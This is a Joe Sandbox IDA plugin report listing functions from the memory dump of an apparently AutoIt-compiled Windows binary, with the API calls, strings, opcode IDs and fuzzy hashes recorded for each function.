Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: _memset$CloseExecuteHandleProcessShell__itow__swprintf_wcscpy
String ID: @
API String ID: 3522835683-2766056989
Opcode ID: 143bd68553a49b41290469683b87efcc04e990262db7d6987848cf790470c934
Instruction ID: 9661a65c2fdfb78261104e11cdea43fc1bb5c6bdcf855ab3d8fc01a342d81502
Opcode Fuzzy Hash: 143bd68553a49b41290469683b87efcc04e990262db7d6987848cf790470c934
Instruction Fuzzy Hash: 70617975A00619DFCB14DF68C8919AEBBF5FF49310F148469E85AAB351CB31AD41CBB0

Function 00DA0F4D Relevance: 10.7, APIs: 7, Instructions: 166windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00DA0F8C
GetKeyboardState.USER32(?), ref: 00DA0FA1
SetKeyboardState.USER32(?), ref: 00DA1002
PostMessageW.USER32 ref: 00DA1030
PostMessageW.USER32 ref: 00DA104F
PostMessageW.USER32 ref: 00DA1095
PostMessageW.USER32 ref: 00DA10B8

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 8a36316a1600670dcf162fc90ad80b3f169ba1ddd2d3451390c1b266ce255f29
Instruction ID: d9f62dd04bef7bdb7f84883ba124bda867a7410f4c7c3b0cc25e26dab586deb2
Opcode Fuzzy Hash: 8a36316a1600670dcf162fc90ad80b3f169ba1ddd2d3451390c1b266ce255f29
Instruction Fuzzy Hash: 0451E1A06087D63DFB3642348C15BBABEA95F07304F0C8589E1D4968C2C3A9ECC8D775

Function 00DA0D66 Relevance: 10.7, APIs: 7, Instructions: 165windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 00DA0DA5
GetKeyboardState.USER32(?), ref: 00DA0DBA
SetKeyboardState.USER32(?), ref: 00DA0E1B
PostMessageW.USER32 ref: 00DA0E47
PostMessageW.USER32 ref: 00DA0E64
PostMessageW.USER32 ref: 00DA0EA8
PostMessageW.USER32 ref: 00DA0EC9

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 6071a4082006d54755e8bc1652431f51bb85f53bb73cbf3a34875f1434f53c94
Instruction ID: 483b5708c46ad7c1a620e82fa0ccaa42039d17aa1dbe48495cf5d804413d66fd
Opcode Fuzzy Hash: 6071a4082006d54755e8bc1652431f51bb85f53bb73cbf3a34875f1434f53c94
Instruction Fuzzy Hash: 2451D1A15447D63DFB3287648C45BBABEA9AB07300F0C8889F1D4968C2D395ED98E771

Function 00DA55FD Relevance: 10.6, APIs: 7, Instructions: 138timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 00DA560A
_wcsncpy.LIBCMT ref: 00DA563F
_wcsncpy.LIBCMT ref: 00DA5671
_wcsncpy.LIBCMT ref: 00DA56A4
_wcsncpy.LIBCMT ref: 00DA56E6
_wcsncpy.LIBCMT ref: 00DA5720
_wcsncpy.LIBCMT ref: 00DA574F

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: _wcsncpy$LocalTime
String ID:
API String ID: 2945705084-0
Opcode ID: 748d5ccb729d0c877b6fceb2b6bc1ae22030cd21ca45590a7481e6c7611bf785
Instruction ID: ad4e808d50989daab217adff6cf2bb7fd9d6c4dc96ec479083a8a244bab64899
Opcode Fuzzy Hash: 748d5ccb729d0c877b6fceb2b6bc1ae22030cd21ca45590a7481e6c7611bf785
Instruction Fuzzy Hash: 2E41A176C1061477CB11EBB89C869DFB3B8EF05310F508966E509E3261EB34A245C7BA

Function 00DA3671 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00DA466E: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00DA3697,?), ref: 00DA468B

Part of subcall function 00DA466E: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00DA3697,?), ref: 00DA46A4

lstrcmpiW.KERNEL32(?,?), ref: 00DA36B7
_wcscmp.LIBCMT ref: 00DA36D3
MoveFileW.KERNEL32 ref: 00DA36EB
_wcscat.LIBCMT ref: 00DA3733
SHFileOperationW.SHELL32(?), ref: 00DA379F

Strings

\*.*, xrefs: 00DA372D

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: FileFullNamePath$MoveOperation_wcscat_wcscmplstrcmpi
String ID: \*.*
API String ID: 1377345388-1173974218
Opcode ID: 63f357531f217eadedcff6094a43fd68fd1bafcbe174475c0666fc253cfab145
Instruction ID: e2afc20f575d246d4dc735e73d1c5e3bfe9fc7554aab4522ca64030d99179b55
Opcode Fuzzy Hash: 63f357531f217eadedcff6094a43fd68fd1bafcbe174475c0666fc253cfab145
Instruction Fuzzy Hash: C7418171508345AEC752EF64C4419DFB7E8EF8A340F48092EB49AC3251EB34D689CB72

Function 00DC7291 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 103windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00DC72AA
GetMenuItemInfoW.USER32 ref: 00DC7351
IsMenu.USER32(?), ref: 00DC7369
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00DC73B1
DrawMenuBar.USER32 ref: 00DC73C4

Strings

0, xrefs: 00DC729E

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Menu$Item$DrawInfoInsert_memset
String ID: 0
API String ID: 3866635326-4108050209
Opcode ID: c1e41078b07cf62a1fed3de339a13dda0fc4acf14a9a3267bf888909956aa582
Instruction ID: 6d5fe652b28afef1007c279001b3615ae938bf28ef2fd820a6f42c447e1648fa
Opcode Fuzzy Hash: c1e41078b07cf62a1fed3de339a13dda0fc4acf14a9a3267bf888909956aa582
Instruction Fuzzy Hash: C5412675A0424AAFDB20DF50D884EAABBB9FB04350F188529FD65A7290D731AD50DF60

Function 00DC0FA5 Relevance: 10.6, APIs: 7, Instructions: 101registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 00DC0FD4
RegOpenKeyExW.ADVAPI32 ref: 00DC0FFE
FreeLibrary.KERNEL32(00000000), ref: 00DC10B5

Part of subcall function 00DC0FA5: RegCloseKey.ADVAPI32(?), ref: 00DC101B
Part of subcall function 00DC0FA5: FreeLibrary.KERNEL32(?), ref: 00DC106D
Part of subcall function 00DC0FA5: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 00DC1090

RegDeleteKeyW.ADVAPI32(?,?), ref: 00DC1058

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: EnumFreeLibrary$CloseDeleteOpen
String ID:
API String ID: 395352322-0
Opcode ID: 15ec7d8a54c252d80952f5921ddf1c869e85ca5e67a6cd74b483b14c3ae212bc
Instruction ID: a4595321948a452c062ab4e4dac326d2df9c2693c7ffa997ece82e59c0454c2e
Opcode Fuzzy Hash: 15ec7d8a54c252d80952f5921ddf1c869e85ca5e67a6cd74b483b14c3ae212bc
Instruction Fuzzy Hash: F5311D7590021ABFDB15DF90DC89EFEB7BCEF09300F144169E511E3241D6749E89AAB0

Function 00DC62CD Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 00DC62EC
GetWindowLongW.USER32(00932440,000000F0), ref: 00DC631F
GetWindowLongW.USER32(00932440,000000F0), ref: 00DC6354
SendMessageW.USER32(00000000,000000F1,00000000,00000000), ref: 00DC6386
SendMessageW.USER32(00000000,000000F1,00000001,00000000), ref: 00DC63B0
GetWindowLongW.USER32(00000000,000000F0), ref: 00DC63C1
SetWindowLongW.USER32(00000000,000000F0,00000000,?,?,?,00DC9E3C,?,?,?,?), ref: 00DC63DB

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID:
API String ID: 2178440468-0
Opcode ID: d66cf0cfa38a3bb80921d1e2bbfab5dc0341962b8acfadac79feac4e78e059d1
Instruction ID: 9ad370e8791d59ea67726d3347aec41e50128a0eda1f8b1a7d1e2d238c76216f
Opcode Fuzzy Hash: d66cf0cfa38a3bb80921d1e2bbfab5dc0341962b8acfadac79feac4e78e059d1
Instruction Fuzzy Hash: 0B31F031644292AFDB208F59DC84F9537E1FB5A714F1D41A8FA01DF2B2CB72E8849B61

Function 00D9DAEB Relevance: 10.6, APIs: 7, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00D9DB2E
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00D9DB54
SysAllocString.OLEAUT32(00000000), ref: 00D9DB57
SysAllocString.OLEAUT32(?), ref: 00D9DB75
SysFreeString.OLEAUT32(?), ref: 00D9DB7E
StringFromGUID2.OLE32(?,?,00000028), ref: 00D9DBA3
SysAllocString.OLEAUT32(?), ref: 00D9DBB1

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 9c335a14d681d4153cd6f4c68e16c382633c4cc2bd2cd25ed0db38226eb3751e
Instruction ID: ddf0017c3534015f26cf3a354efa700e235fb62a1766a59c04df61369f7792eb
Opcode Fuzzy Hash: 9c335a14d681d4153cd6f4c68e16c382633c4cc2bd2cd25ed0db38226eb3751e
Instruction Fuzzy Hash: E221907660421AAFDF10DFA8DC88CFB77AEEB09364B058526F958DB260D674DC418B70

Function 00DB6173 Relevance: 10.6, APIs: 7, Instructions: 94networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00DB7D8B: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 00DB7DB6

socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 00DB61C6
WSAGetLastError.WSOCK32(00000000), ref: 00DB61D5
ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 00DB620E
connect.WSOCK32(00000000,?,00000010), ref: 00DB6217
WSAGetLastError.WSOCK32 ref: 00DB6221
closesocket.WSOCK32(00000000), ref: 00DB624A
ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 00DB6263

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: ErrorLastioctlsocket$closesocketconnectinet_addrsocket
String ID:
API String ID: 910771015-0
Opcode ID: 44f03229f27c0052911ab1d76377e0ab89fc1fcffa1c2cdcacec995fda5d7df5
Instruction ID: a60322dc49b31964d26c2c995eabdd293920b541e6f821de1d9e0e8c39055cf3
Opcode Fuzzy Hash: 44f03229f27c0052911ab1d76377e0ab89fc1fcffa1c2cdcacec995fda5d7df5
Instruction Fuzzy Hash: 08316B71600219ABEF10AF68CC85FFE7BA9EF45764F044029F906E7291DB74ED048AB1

Function 00D9F65E Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 90COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 00D9F671
__wcsnicmp.LIBCMT ref: 00D9F692
__wcsnicmp.LIBCMT ref: 00D9F6AC

Strings

#OnAutoItStartRegister, xrefs: 00D9F6A6
#notrayicon, xrefs: 00D9F669
#requireadmin, xrefs: 00D9F68C

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: __wcsnicmp
String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
API String ID: 1038674560-2734436370
Opcode ID: ae3a8a0df20d54b671aeb898052e4f864c4ce5851530fd124d354d3a81ca8b5c
Instruction ID: b22ea8b6d19900dca040dbb1968710968bd5ec93c4c516b8309a2ba654f46bd8
Opcode Fuzzy Hash: ae3a8a0df20d54b671aeb898052e4f864c4ce5851530fd124d354d3a81ca8b5c
Instruction Fuzzy Hash: AA21F6722046117BDB20AB34AC02FB77398EF55354F18483AF986C6191EB61ED46D2B5

Function 00D9DBC4 Relevance: 10.6, APIs: 7, Instructions: 90memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00D9DC09
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00D9DC2F
SysAllocString.OLEAUT32(00000000), ref: 00D9DC32
SysAllocString.OLEAUT32 ref: 00D9DC53
SysFreeString.OLEAUT32 ref: 00D9DC5C
StringFromGUID2.OLE32(?,?,00000028), ref: 00D9DC76
SysAllocString.OLEAUT32(?), ref: 00D9DC84

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: f128488f7dee729e1ac4540c439a2182f05a707bb4bc8a8ac94627ab0d61794c
Instruction ID: 691ae2bb5123fbbe940a9c269856e7285dd9497d184f6bee77ac3870e928d1e5
Opcode Fuzzy Hash: f128488f7dee729e1ac4540c439a2182f05a707bb4bc8a8ac94627ab0d61794c
Instruction Fuzzy Hash: 63214175604206AF9F14DFA8DC88DAB77EDEB0D360B148125F955CB261DAB0DC41CB74

Function 00DC75CD Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00D41D35: CreateWindowExW.USER32 ref: 00D41D73
Part of subcall function 00D41D35: GetStockObject.GDI32(00000011), ref: 00D41D87
Part of subcall function 00D41D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 00D41D91

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00DC7632
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 00DC763F
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 00DC764A
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00DC7659
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00DC7665

Strings

Msctls_Progress32, xrefs: 00DC7603

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: 906ba54a8dddd0c1b2822fd2d758c0f5ab6b131dcca0366737e06efee64409d4
Instruction ID: 0e94c7d3fb0a022f77a1baabd0c9a5c1acdd2cd79dade323f88af6214cdb3534
Opcode Fuzzy Hash: 906ba54a8dddd0c1b2822fd2d758c0f5ab6b131dcca0366737e06efee64409d4
Instruction Fuzzy Hash: E71190B215021ABFEF118F64CC85EE7BF6DEF08798F014115BA04A20A0CA729C21DBB4

Function 00D69AE6 Relevance: 10.5, APIs: 7, Instructions: 45threadCOMMON

Download Yara Rule

APIs

__init_pointers.LIBCMT ref: 00D69AE6

Part of subcall function 00D63187: RtlEncodePointer.NTDLL(00000000), ref: 00D6318A
Part of subcall function 00D63187: __initp_misc_winsig.LIBCMT ref: 00D631A5
Part of subcall function 00D63187: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00D69EA0
Part of subcall function 00D63187: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00D69EB4
Part of subcall function 00D63187: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00D69EC7
Part of subcall function 00D63187: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00D69EDA
Part of subcall function 00D63187: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00D69EED
Part of subcall function 00D63187: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00D69F00
Part of subcall function 00D63187: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 00D69F13
Part of subcall function 00D63187: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00D69F26
Part of subcall function 00D63187: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 00D69F39
Part of subcall function 00D63187: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 00D69F4C
Part of subcall function 00D63187: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00D69F5F
Part of subcall function 00D63187: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00D69F72
Part of subcall function 00D63187: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00D69F85
Part of subcall function 00D63187: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 00D69F98
Part of subcall function 00D63187: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 00D69FAB
Part of subcall function 00D63187: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 00D69FBE

__mtinitlocks.LIBCMT ref: 00D69AEB
__mtterm.LIBCMT ref: 00D69AF4

Part of subcall function 00D69B5C: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,00D69AF9,00D67CD0,00DFA0B8,00000014), ref: 00D69C56
Part of subcall function 00D69B5C: _free.LIBCMT ref: 00D69C5D
Part of subcall function 00D69B5C: DeleteCriticalSection.KERNEL32(02,?,?,00D69AF9,00D67CD0,00DFA0B8,00000014), ref: 00D69C7F

__calloc_crt.LIBCMT ref: 00D69B19
__initptd.LIBCMT ref: 00D69B3B
GetCurrentThreadId.KERNEL32(00D67CD0,00DFA0B8,00000014), ref: 00D69B42

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
String ID:
API String ID: 3567560977-0
Opcode ID: e1d5ea989e9c3ac1ce9bb9d0d4f9c87c81c29a561dae2b20fcc9b823f3cdbcff
Instruction ID: bbed6f5612dd8a3d15b47c7d24dd1cd94226a1616b06f6e640aac3a07cf75b01
Opcode Fuzzy Hash: e1d5ea989e9c3ac1ce9bb9d0d4f9c87c81c29a561dae2b20fcc9b823f3cdbcff
Instruction Fuzzy Hash: 9AF090326097125BEA347BB8BC23A9AB7DDDF02730F244A2AF460C61D2EF70844149B0

Function 00DCB635 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 40processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00DCB644
_memset.LIBCMT ref: 00DCB653
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00E06F20,00E06F64), ref: 00DCB682
CloseHandle.KERNEL32 ref: 00DCB694

Strings

do, xrefs: 00DCB64D
o, xrefs: 00DCB63E

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: _memset$CloseCreateHandleProcess
String ID: o$do
API String ID: 3277943733-2180341428
Opcode ID: 1497391920498771d8a5e37591271ef983f5fdb374150daa2bc6366a3ac8a50e
Instruction ID: 995e05c0c5f054dac97eca15d16987d060f87700595be9e784fa623bd4e0be70
Opcode Fuzzy Hash: 1497391920498771d8a5e37591271ef983f5fdb374150daa2bc6366a3ac8a50e
Instruction Fuzzy Hash: 85F0F4B16403077FE2102B65BC06FBB7A9CEB55795F004021FA08F5191DB765C648BB8

Function 00D6406B Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 19libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,00D63F85), ref: 00D64085
GetProcAddress.KERNEL32(00000000), ref: 00D6408C
